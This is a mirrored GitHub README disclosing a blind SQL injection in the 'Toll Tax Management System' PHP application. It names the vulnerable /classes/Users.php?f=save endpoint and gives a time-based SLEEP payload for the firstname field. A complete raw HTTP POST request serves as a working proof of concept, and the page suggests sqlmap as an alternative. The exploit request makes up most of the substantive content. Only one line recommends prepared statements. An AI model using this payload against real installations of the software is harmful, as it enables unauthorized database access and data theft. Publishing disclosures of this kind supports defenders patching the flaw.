Git Product home page Git Product logo

sqli-tolltax's Introduction

Exploit Title:

SQLI Blind (Toll Tax Management System)

Date:

22/09/2023

Exploit Author:

Xcode0x (Mohamed Almarri)

Twitter: @xcode0x

Vendor Homepage:

https://github.com/oretnom23

Software Link:

https://www.sourcecodester.com/php/15304/toll-tax-management-system-phpoop-free-source-code.html

Version:

v1

Tested on:

debian


SQLI BLIND :

The application's endpoint /classes/Users.php?f=save is vulnerable to blind SQL injection. By injecting a payload into the firstname field, specifically Adminstrator' AND (SELECT 2171 FROM (SELECT(SLEEP(5)))hgdO)-- EnP, an attacker can introduce a conditional delay in the SQL query. If the server responds with a delay of approximately 5 seconds after processing this request, it confirms the vulnerability. This vulnerability can allow attackers to infer information about the database and potentially extract data or perform administrative operations. It's recommended to sanitize all user inputs and use prepared statements to prevent such attacks.

POC [debian]:

1- login as admin and go to profile [http://10.0.30.0:1337/admin/?page=user] .

2- set you payload in firstname or use sqlmap .

POST /classes/Users.php?f=save HTTP/1.1

Host: 10.0.30.0:1337

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: /

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=---------------------------87171060839686939451677610311

Content-Length: 999

Origin: http://10.0.30.0:1337

Connection: close

Referer: http://10.0.30.0:1337/admin/?page=user

Cookie: PHPSESSID=o23q98hs6j8ut4u548ebt8epe4

-----------------------------87171060839686939451677610311

Content-Disposition: form-data; name="id"

1

-----------------------------87171060839686939451677610311

Content-Disposition: form-data; name="firstname"

Adminstrator' AND (SELECT 2171 FROM (SELECT(SLEEP(5)))hgdO)-- EnP

-----------------------------87171060839686939451677610311

Content-Disposition: form-data; name="middlename"

s

-----------------------------87171060839686939451677610311

Content-Disposition: form-data; name="lastname"

Admin

-----------------------------87171060839686939451677610311

Content-Disposition: form-data; name="username"

admin

-----------------------------87171060839686939451677610311

Content-Disposition: form-data; name="password"

-----------------------------87171060839686939451677610311

Content-Disposition: form-data; name="img"; filename=""

Content-Type: application/octet-stream

-----------------------------87171060839686939451677610311--

Drag Racing

Drag Racing

Tested

Linux - debian

sqli-tolltax's People

Contributors

xcodeon1 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.